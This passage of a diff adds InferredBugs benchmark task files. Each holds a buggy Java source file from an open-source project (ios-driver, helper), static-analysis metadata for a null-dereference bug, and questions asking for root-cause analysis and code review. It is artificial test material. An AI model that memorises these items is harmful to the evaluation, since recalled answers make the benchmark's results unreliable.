+      resp.setSessionId(getSession().getSessionId());
+      resp.setStatus(0);
+      resp.setValue(res);
+      return resp;
+    }
+  }
+
+  @Override
+  public JSONObject configurationDescription() throws JSONException {
+    return noConfigDefined();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getSession().getWebInspector()` could be null and is dereferenced at line 44.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Response FindElementHandler.handle()
+
+### Procedure Id:
+org.uiautomation.ios.server.command.web.FindElementHandler.handle():org.openqa.selenium.remote.Respo.9cf26793b7ea6bc75cbcfa5fb6b6eee8
+
+### File:
+server/src/main/java/org/uiautomation/ios/server/command/web/FindElementHandler.java
+
+### Key:
+FindElementHandler.java|handle|NULL_DEREFERENCE
+
+### Node Key:
+98e48d8af36063b905de6168fc1ae17c
+
+### Hash:
+dbde8f8506681be42e55a3d8bcf4e9f4
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10227/instruction.md b/inferredbugs-10227/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7a93ea9b770f3c5151b642ef36fffac11207ae30
--- /dev/null
+++ b/inferredbugs-10227/instruction.md
@@ -0,0 +1,763 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ios-driver
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2012 ios-driver committers.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package org.uiautomation.ios.webInspector.DOM;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.openqa.selenium.Dimension;
+import org.openqa.selenium.NoSuchElementException;
+import org.openqa.selenium.NoSuchFrameException;
+import org.openqa.selenium.Point;
+import org.openqa.selenium.StaleElementReferenceException;
+import org.uiautomation.ios.UIAModels.UIAButton;
+import org.uiautomation.ios.UIAModels.UIADriver;
+import org.uiautomation.ios.UIAModels.UIAElement;
+import org.uiautomation.ios.UIAModels.UIARect;
+import org.uiautomation.ios.UIAModels.UIAWebView;
+import org.uiautomation.ios.UIAModels.configuration.WorkingMode;
+import org.uiautomation.ios.UIAModels.predicate.AndCriteria;
+import org.uiautomation.ios.UIAModels.predicate.Criteria;
+import org.uiautomation.ios.UIAModels.predicate.L10NStrategy;
+import org.uiautomation.ios.UIAModels.predicate.LabelCriteria;
+import org.uiautomation.ios.UIAModels.predicate.LocationCriteria;
+import org.uiautomation.ios.UIAModels.predicate.NameCriteria;
+import org.uiautomation.ios.UIAModels.predicate.OrCriteria;
+import org.uiautomation.ios.UIAModels.predicate.TypeCriteria;
+import org.uiautomation.ios.client.uiamodels.impl.RemoteUIAKeyboard;
+import org.uiautomation.ios.communication.WebDriverLikeCommand;
+import org.uiautomation.ios.communication.device.Device;
+import org.uiautomation.ios.mobileSafari.Atoms;
+import org.uiautomation.ios.mobileSafari.DebugProtocol;
+import org.uiautomation.ios.mobileSafari.NodeId;
+import org.uiautomation.ios.mobileSafari.WebInspector;
+import org.uiautomation.ios.server.ServerSideSession;
+import org.uiautomation.ios.server.command.uiautomation.GetSessionsNHandler;
+
+public class RemoteWebElement {
+
+  private final UIADriver nativeDriver;
+  protected final WebInspector inspector;
+  protected final DebugProtocol protocol;
+  private UIAElement nativeElement;
+  private final ServerSideSession session;
+  private final NodeId nodeId;
+  private RemoteObject remoteObject;
+
+  public RemoteWebElement(NodeId id, ServerSideSession session) throws JSONException {
+    this.session = session;
+    this.inspector = session.getWebInspector();
+    this.nativeDriver = session.getNativeDriver();
+    this.protocol = inspector.getProtocol();
+    this.nodeId = id;
+  }
+
+  public RemoteWebElement(NodeId nodeId, ServerSideSession session, RemoteObject remoteObject) throws Exception {
+    this(nodeId, session);
+    this.remoteObject = remoteObject;
+  }
+
+  public void click(boolean nativeEvents) throws Exception {
+    if (nativeEvents) {
+      clickNative();
+    } else {
+      clickAtom();
+    }
+  }
+
+  // TODO freyanud no return here.
+  private void clickAtom() throws Exception {
+    String f = "(function(arg) { " + "var text = " + Atoms.click() + "(arg);" + "return text;})";
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("objectId", getRemoteObject().getId()));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", true));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+    inspector.cast(response);
+  }
+
+  private void clickNative() throws Exception {
+    UIAElement el = getNativeElement();
+    WorkingMode origin = session.getMode();
+    try {
+      session.setMode(WorkingMode.Native);
+      el.tap();
+    } finally {
+      session.setMode(origin);
+    }
+  }
+
+  public NodeId getNodeId() {
+    return nodeId;
+  }
+
+  public boolean exists() {
+    try {
+      JSONObject response = inspector.getProtocol().sendCommand(DOM.resolveNode(nodeId));
+      return true;
+    } catch (Exception e) {
+      if ("No node with given id found".equals(e.getMessage())) {
+        return false;
+      }
+    }
+    throw new RuntimeException("case not implemented");
+  }
+
+  public RemoteObject getRemoteObject() throws JSONException, Exception {
+    JSONObject response = null;
+    if (remoteObject == null) {
+      long start = System.currentTimeMillis();
+      try {
+        response = inspector.getProtocol().sendCommand(DOM.resolveNode(nodeId));
+      } catch (RemoteExceptionException e) {
+        if ("No node with given id found".equals(e.getMessage())) {
+          throw new StaleElementReferenceException(getNodeId() + " is stale.");
+        }
+      }
+      RemoteObject o = inspector.cast(response);
+      remoteObject = o;
+    }
+    return remoteObject;
+  }
+
+  public String getText() throws Exception {
+    String f = "(function(arg) { " + "var text = " + Atoms.getText() + "(arg);" + "return text;})";
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("objectId", getRemoteObject().getId()));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", true));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+    return inspector.cast(response);
+  }
+
+  public void highlight() {
+    try {
+      inspector.highlightNode(nodeId);
+    } catch (JSONException e) {
+      // TODO Auto-generated catch block
+      e.printStackTrace();
+    } catch (Exception e) {
+      // TODO Auto-generated catch block
+      e.printStackTrace();
+    }
+  }
+
+  
+  private UIAElement getNativeElement() throws Exception {
+    // highlight();
+    if (nativeElement == null) {
+
+      // get the web element
+      Point po = findPosition();
+      int webPageWidth = inspector.getInnerWidth();
+      // TODO freynaud use dim, remove innerw
+      Dimension dim = inspector.getSize();
+
+      
+
+      WorkingMode origin = session.getMode();
+
+      UIARect rect = null;
+      UIARect offset = null;
+      try {
+        session.setMode(WorkingMode.Native);
+        UIAElement sv = nativeDriver.findElement(new TypeCriteria(UIAWebView.class));
+
+        // scrollview container. Doesn't start in 0,0 // x=0,y=96,h=928w=768
+        // TODO freynaud : should save the current value, and reset to that at the end. Not to false. 
+        nativeDriver.configure(WebDriverLikeCommand.RECT).set("checkForStale", false);
+        rect = sv.getRect();
+
+        UIAElement addressBar = nativeDriver.findElement(new AndCriteria(new TypeCriteria(UIAElement.class),
+            new NameCriteria("Address",L10NStrategy.serverL10N), new LabelCriteria("Address",L10NStrategy.serverL10N)));
+        offset = addressBar.getRect();
+        nativeDriver.configure(WebDriverLikeCommand.RECT).set("checkForStale", true);
+        // rect = sv.getRect();
+      } finally {
+        session.setMode(origin);
+      }
+
+      int top = po.getY();
+      int left = po.getX();
+
+         float ratio = ((float) rect.getWidth()) / ((float) (webPageWidth));
+
+      top = (int) (top * ratio) + 1;
+      left = (int) (left * ratio) + 1;
+
+      int statusBarHeigthIphone = 20;
+      int x = left;
+
+      int delta = offset.getY() + 39;
+      // delta = heigth of the address bar + status bar.
+      delta = delta < 20 ? 20 : delta;
+      boolean ipad = session.getCapabilities().getDevice() == Device.ipad;
+      if (ipad ){
+        delta = 96;
+      }
+      int y = delta + top;
+      try {
+        session.setMode(WorkingMode.Native);
+        nativeElement = nativeDriver.findElement(new LocationCriteria(x, y));
+      } finally {
+        session.setMode(origin);
+      }
+
+    }
+    return nativeElement;
+  }
+
+  public Point findPosition() throws Exception {
+    String f = "(function(a) { " + "var el = this;" + " var rect = el.getClientRects()[0];" + " var res = "
+        + Atoms.stringify() + "({'top': rect.top,'left': rect.left });" + "return res;" + "})";
+
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    cmd.put(
+        "params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("returnByValue", false));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+    String s = inspector.cast(response);
+    JSONObject o = new JSONObject(s);
+    return new Point(o.getInt("left"), o.getInt("top"));
+    /*
+     * String f = "(function(element) { var result = " +
+     * Atoms.getLocationInView() + "(element);" + "var res = " +
+     * Atoms.stringify() + "(result);" + "return  res;  })"; JSONObject cmd =
+     * new JSONObject();
+     * 
+     * cmd.put("method", "Runtime.callFunctionOn");
+     * 
+     * JSONArray args = new JSONArray(); args.put(new
+     * JSONObject().put("objectId", getRemoteObject().getId()));
+     * 
+     * cmd.put("params", new JSONObject() .put("objectId",
+     * getRemoteObject().getId()) .put("functionDeclaration", f)
+     * .put("arguments", args) .put("returnByValue", false));
+     * 
+     * JSONObject response = inspector.getProtocol().sendCommand(cmd); String
+     * res = inspector.cast(response); JSONObject o = new JSONObject(res);
+     * return new Point(o.getInt("x"), o.getInt("y"));
+     */
+  }
+
+  public String getAttribute(String attributeName) throws Exception {
+    String res = getRemoteObject().call("." + attributeName);
+    if (res == null || "class".equals(attributeName)) {
+      // textarea.value != testarea.getAttribute("value");
+      res = getRemoteObject().call(".getAttribute('" + attributeName + "')");
+    }
+    if (res == null) {
+      return "";
+    } else {
+      return res;
+    }
+  }
+
+  public boolean isSelected() throws Exception {
+    String func = Atoms.isSelected();
+    String f = "(function(arg) { " + "var isDisplayed = " + func + "(arg);" + "return isDisplayed;})";
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("objectId", getRemoteObject().getId()));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", true));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+    return (Boolean)inspector.cast(response);
+  }
+
+  public boolean isDisplayed() throws Exception {
+    String func = Atoms.isDisplayed();
+    String f = "(function(arg) { " + "var isDisplayed = " + func + "(arg);" + "return isDisplayed;})";
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("objectId", getRemoteObject().getId()));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", true));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+    return (Boolean)inspector.cast(response);
+  }
+
+  public RemoteWebElement findElementByLinkText(String text, boolean partialMatch) throws Exception {
+
+    String ifStatement;
+    if (partialMatch) {
+      ifStatement = "if ( elements[i].innerText.indexOf(text) != -1 ){";
+    } else {
+      ifStatement = "if (text === elements[i].innerText ){";
+    }
+    String f = "(function(text) { " + "var elements = this.querySelectorAll('a');"
+        + "for ( var i =0;i<elements.length;i++){" + ifStatement + "  return elements[i];" + "}" // end
+                                                                                                 // if
+        + "}" // end for
+        + "return null;" + "})"; // end function
+
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("value", text));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", false));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+    RemoteObject ro = inspector.cast(response);
+    if (ro == null) {
+      return null;
+    } else {
+      return ro.getWebElement();
+    }
+  }
+
+  public List<RemoteWebElement> findElementsByLinkText(String text, boolean partialMatch) throws Exception {
+    String ifStatement;
+    if (partialMatch) {
+      ifStatement = "if ( elements[i].innerText.indexOf(text) != -1 ){";
+    } else {
+      ifStatement = "if (text === elements[i].innerText ){";
+    }
+
+    String f = "(function(text) { " + "var elements = this.querySelectorAll('a');" + "var result = new Array();"
+        + "for ( var i =0;i<elements.length;i++){" + ifStatement + "  result.push(elements[i]);" + "}" // end
+                                                                                                       // if
+        + "}" // end for
+        + "return result;" + "})"; // end function
+
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("value", text));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", false));
+
+    JSONObject response = protocol.sendCommand(cmd);
+    List<RemoteObject> ros = inspector.cast(response);
+
+    List<RemoteWebElement> res = new ArrayList<RemoteWebElement>();
+    for (RemoteObject ro : ros) {
+      res.add(ro.getWebElement());
+    }
+    return res;
+  }
+
+  public RemoteWebElement findElementByCSSSelectorOld(String selector) throws Exception {
+    try {
+
+      JSONObject cmd = new JSONObject();
+
+      cmd.put("method", "Runtime.callFunctionOn");
+
+      JSONArray args = new JSONArray();
+      args.put(new JSONObject().put("value", selector));
+
+      cmd.put(
+          "params",
+          new JSONObject().put("objectId", getRemoteObject().getId())
+              .put("functionDeclaration", "(function(arg) { var el = this.querySelector(arg);return el;})")
+              .put("arguments", args).put("returnByValue", false));
+
+      JSONObject response = protocol.sendCommand(cmd);
+      RemoteObject ro = inspector.cast(response);
+      if (ro == null) {
+        return null;
+      } else {
+        return ro.getWebElement();
+      }
+    } catch (Exception e) {
+      // e.printStackTrace();
+      System.err.println(e.getMessage());
+      return null;
+    }
+
+  }
+
+  public RemoteWebElement findElementByCSSSelector(String selector) throws Exception {
+    JSONObject response = protocol.sendCommand(DOM.querySelector(nodeId, selector));
+    // TODO freynaud
+    NodeId id = new NodeId(response.optInt("nodeId"));
+    if (!id.exist()) {
+      throw new NoSuchElementException("no element matching " + selector);
+    }
+    RemoteWebElement res = new RemoteWebElement(id, session);
+    // RemoteWebElement res = protocol.cast(response);
+    return res;
+  }
+
+  public List<RemoteWebElement> findElementsByCSSSelector(String selector) throws Exception {
+    JSONObject response = protocol.sendCommand(DOM.querySelectorAll(nodeId, selector));
+    JSONArray nodesId = response.optJSONArray("nodeIds");
+    ArrayList<RemoteWebElement> res = new ArrayList<RemoteWebElement>();
+    for (int i = 0; i < nodesId.length(); i++) {
+      NodeId id = new NodeId(nodesId.getInt(i));
+      res.add(new RemoteWebElement(id, session));
+    }
+    return res;
+
+  }
+
+  public String readyState() throws Exception {
+
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    long start = System.currentTimeMillis();
+    cmd.put(
+        "params",
+        new JSONObject().put("objectId", getRemoteObject().getId())
+            .put("functionDeclaration", "(function(arg) { var state = document.readyState; return state;})")
+            .put("arguments", args).put("returnByValue", true));
+    JSONObject response = protocol.sendCommand(cmd);
+    return inspector.cast(response);
+  }
+
+  @Override
+  public String toString() {
+    try {
+      // String remoteElement = getRemoteObject().getId();
+      // String text = getText();
+      String remoteElement = remoteObject == null ? "not loaded" : remoteObject.getId();
+      return "nodeId=" + nodeId + " , remoteElement " + remoteElement; // +
+                                                                       // "text:"
+                                                                       // +
+                                                                       // text;
+    } catch (Exception e) {
+      return e.getMessage();
+    }
+  }
+
+  public RemoteWebElement getContentDocument() throws Exception {
+
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+
+    cmd.put(
+        "params",
+        new JSONObject().put("objectId", getRemoteObject().getId())
+            .put("functionDeclaration", "(function(arg) { var document = this.contentDocument; return document;})")
+            .put("arguments", args).put("returnByValue", false));
+
+    JSONObject response = protocol.sendCommand(cmd);
+    RemoteObject ro = inspector.cast(response);
+    if (ro == null) {
+      throw new NoSuchFrameException("Cannot find the document associated with the frame.");
+    } else {
+      return ro.getWebElement();
+    }
+  }
+
+  public boolean equalsRemoteWebElement(RemoteWebElement other) throws Exception {
+
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    String objectId = other.getRemoteObject().getId();
+    args.put(new JSONObject().put("objectId", objectId));
+
+    cmd.put(
+        "params",
+        new JSONObject()
+            .put("objectId", getRemoteObject().getId())
+            .put("functionDeclaration",
+                "(function(args) { var me = this; var other=args;alert(me +' -- '+other);return me === other;})")
+            .put("arguments", args).put("returnByValue", false));
+
+    JSONObject response = protocol.sendCommand(cmd);
+    boolean equal = (Boolean)inspector.cast(response);
+    return equal;
+
+  }
+
+  public void submit() throws Exception {
+    String f = "(function(arg) { " + "var text = " + Atoms.submit() + "(arg);" + "return text;})";
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("objectId", getRemoteObject().getId()));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", true));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+    inspector.cast(response);
+
+  }
+
+  public RemoteWebElement findElementByXpath(String xpath) throws Exception {
+    String f = "(function(xpath,element) { var result = " + Atoms.findByXpath() + "(xpath,element);"
+        + "return result;})";
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("value", xpath));
+    args.put(new JSONObject().put("objectId", getRemoteObject().getId()));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", false));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+    RemoteObject ro = inspector.cast(response);
+    if (ro == null) {
+      throw new NoSuchElementException("cannot find element by Xpath " + xpath);
+    } else {
+      return ro.getWebElement();
+    }
+  }
+
+  public List<RemoteWebElement> findElementsByXpath(String xpath) throws Exception {
+    String f = "(function(xpath,element) { var results = " + Atoms.findsByXpath() + "(xpath,element);"
+        + "return results;})";
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("value", xpath));
+    args.put(new JSONObject().put("objectId", getRemoteObject().getId()));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", false));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+
+    List<RemoteObject> ros = inspector.cast(response);
+
+    List<RemoteWebElement> res = new ArrayList<RemoteWebElement>();
+    for (RemoteObject ro : ros) {
+      res.add(ro.getWebElement());
+    }
+    return res;
+  }
+
+  
+  public void setValueAtoms(String value) throws Exception {
+    String f = "(function(element,value) { var result = " + Atoms.type() + "(element,value);" + "return result;})";
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("objectId", getRemoteObject().getId()));
+    args.put(new JSONObject().put("value", value));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", false));
+
+     inspector.getProtocol().sendCommand(cmd);
+  }
+
+  public void setValueNative(String value) throws Exception {
+    UIAElement el = getNativeElement();
+    WorkingMode origin = session.getMode();
+    try {
+      session.setMode(WorkingMode.Native);
+      UIARect rect = el.getRect();
+      int x = rect.getX() + rect.getWidth() - 1;
+      int y = rect.getY() + rect.getHeight() / 2;
+      // TODO freynaud : tap() should take a param like middle, topLeft,
+      // bottomRight to save 1 call.
+      session.getNativeDriver().tap(x, y);
+      RemoteUIAKeyboard keyboard = (RemoteUIAKeyboard) session.getNativeDriver().getKeyboard();
+      if ("\n".equals(value)) {
+        keyboard.findElement(new NameCriteria("Return")).tap();
+      } else {
+        keyboard.sendKeys(value);
+      }
+
+      Criteria iphone = new NameCriteria("Done");
+      Criteria ipad = new NameCriteria("Hide keyboard");
+
+      UIAButton but = session.getNativeDriver().findElement(new OrCriteria(ipad, iphone));
+      but.tap();
+      // session.getNativeDriver().pinchClose(300, 400, 50, 100, 1);
+    } finally {
+      session.setMode(origin);
+    }
+
+  }
+
+  public void clear() throws Exception {
+    String f = "(function(element) { " + "var text = " + Atoms.clear() + "(element);" + "return text;})";
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+    args.put(new JSONObject().put("objectId", getRemoteObject().getId()));
+
+    cmd.put("params",
+        new JSONObject().put("objectId", getRemoteObject().getId()).put("functionDeclaration", f)
+            .put("arguments", args).put("returnByValue", true));
+
+    JSONObject response = inspector.getProtocol().sendCommand(cmd);
+    inspector.cast(response);
+
+  }
+
+  public RemoteWebElement getContentWindow() throws Exception {
+    JSONObject cmd = new JSONObject();
+
+    cmd.put("method", "Runtime.callFunctionOn");
+
+    JSONArray args = new JSONArray();
+
+    cmd.put(
+        "params",
+        new JSONObject().put("objectId", getRemoteObject().getId())
+            .put("functionDeclaration", "(function(arg) { var window = this.contentWindow; return window;})")
+            .put("arguments", args).put("returnByValue", false));
+
+    JSONObject response = protocol.sendCommand(cmd);
+    RemoteObject ro = inspector.cast(response);
+    if (ro == null) {
+      throw new NoSuchFrameException("Cannot find the window associated with the frame.");
+    } else {
+      return ro.getWebElement();
+    }
+  }
+
+  public String getTagName() throws Exception {
+    String tag = getAttribute("tagName");
+    return tag.toLowerCase();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `keyboard` last assigned on line 625 could be null and is dereferenced at line 629.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RemoteWebElement.setValueNative(String)
+
+### Procedure Id:
+org.uiautomation.ios.webInspector.DOM.RemoteWebElement.setValueNative(java.lang.String):void.b74bcf2df057ed4e15cafeb1c203b520
+
+### File:
+server/src/main/java/org/uiautomation/ios/webInspector/DOM/RemoteWebElement.java
+
+### Key:
+RemoteWebElement.java|setValueNative|NULL_DEREFERENCE
+
+### Node Key:
+24b323abf09399c888b6f1033b8f1206
+
+### Hash:
+2d4c87983a0f181249b3141aa344931f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10242/instruction.md b/inferredbugs-10242/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..49a240a1f39f2f3fa6a333e7f082397f7f0e7fc7
--- /dev/null
+++ b/inferredbugs-10242/instruction.md
@@ -0,0 +1,214 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helper
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is part of helper, licensed under the MIT License.
+ *
+ *  Copyright (c) lucko (Luck) <luck@lucko.me>
+ *  Copyright (c) contributors
+ *
+ *  Permission is hereby granted, free of charge, to any person obtaining a copy
+ *  of this software and associated documentation files (the "Software"), to deal
+ *  in the Software without restriction, including without limitation the rights
+ *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ *  copies of the Software, and to permit persons to whom the Software is
+ *  furnished to do so, subject to the following conditions:
+ *
+ *  The above copyright notice and this permission notice shall be included in all
+ *  copies or substantial portions of the Software.
+ *
+ *  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ *  SOFTWARE.
+ */
+
+package me.lucko.helper.serialize;
+
+import com.google.common.base.Preconditions;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonPrimitive;
+
+import org.bukkit.Bukkit;
+import org.bukkit.inventory.Inventory;
+import org.bukkit.inventory.ItemStack;
+import org.bukkit.util.io.BukkitObjectInputStream;
+import org.bukkit.util.io.BukkitObjectOutputStream;
+import org.yaml.snakeyaml.external.biz.base64Coder.Base64Coder;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+/**
+ * Utility methods for converting ItemStacks and Inventories to and from JSON.
+ */
+public final class Serializers {
+
+    public static JsonPrimitive serializeItemstack(ItemStack item) {
+        try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
+            try (BukkitObjectOutputStream dataOutput = new BukkitObjectOutputStream(outputStream)) {
+                dataOutput.writeObject(item);
+                return new JsonPrimitive(Base64Coder.encodeLines(outputStream.toByteArray()));
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static ItemStack deserializeItemstack(JsonElement data) {
+        Preconditions.checkArgument(data.isJsonPrimitive());
+        try (ByteArrayInputStream inputStream = new ByteArrayInputStream(Base64Coder.decodeLines(data.getAsString()))) {
+            try (BukkitObjectInputStream dataInput = new BukkitObjectInputStream(inputStream)) {
+                return (ItemStack) dataInput.readObject();
+            }
+        } catch (ClassNotFoundException | IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static JsonPrimitive serializeItemstacks(ItemStack[] items) {
+        try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
+            try (BukkitObjectOutputStream dataOutput = new BukkitObjectOutputStream(outputStream)) {
+                dataOutput.writeInt(items.length);
+
+                for (ItemStack item : items) {
+                    dataOutput.writeObject(item);
+                }
+
+                return new JsonPrimitive(Base64Coder.encodeLines(outputStream.toByteArray()));
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static JsonPrimitive serializeInventory(Inventory inventory) {
+        try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
+            try (BukkitObjectOutputStream dataOutput = new BukkitObjectOutputStream(outputStream)) {
+                dataOutput.writeInt(inventory.getSize());
+
+                for (int i = 0; i < inventory.getSize(); i++) {
+                    dataOutput.writeObject(inventory.getItem(i));
+                }
+
+                return new JsonPrimitive(Base64Coder.encodeLines(outputStream.toByteArray()));
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static ItemStack[] deserializeItemstacks(JsonElement data) {
+        Preconditions.checkArgument(data.isJsonPrimitive());
+        try (ByteArrayInputStream inputStream = new ByteArrayInputStream(Base64Coder.decodeLines(data.getAsString()))) {
+            try (BukkitObjectInputStream dataInput = new BukkitObjectInputStream(inputStream)) {
+                ItemStack[] items = new ItemStack[dataInput.readInt()];
+
+                for (int i = 0; i < items.length; i++) {
+                    items[i] = (ItemStack) dataInput.readObject();
+                }
+
+                return items;
+            }
+        } catch (ClassNotFoundException | IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static Inventory deserializeInventory(JsonElement data, String title) {
+        Preconditions.checkArgument(data.isJsonPrimitive());
+        try (ByteArrayInputStream inputStream = new ByteArrayInputStream(Base64Coder.decodeLines(data.getAsString()))) {
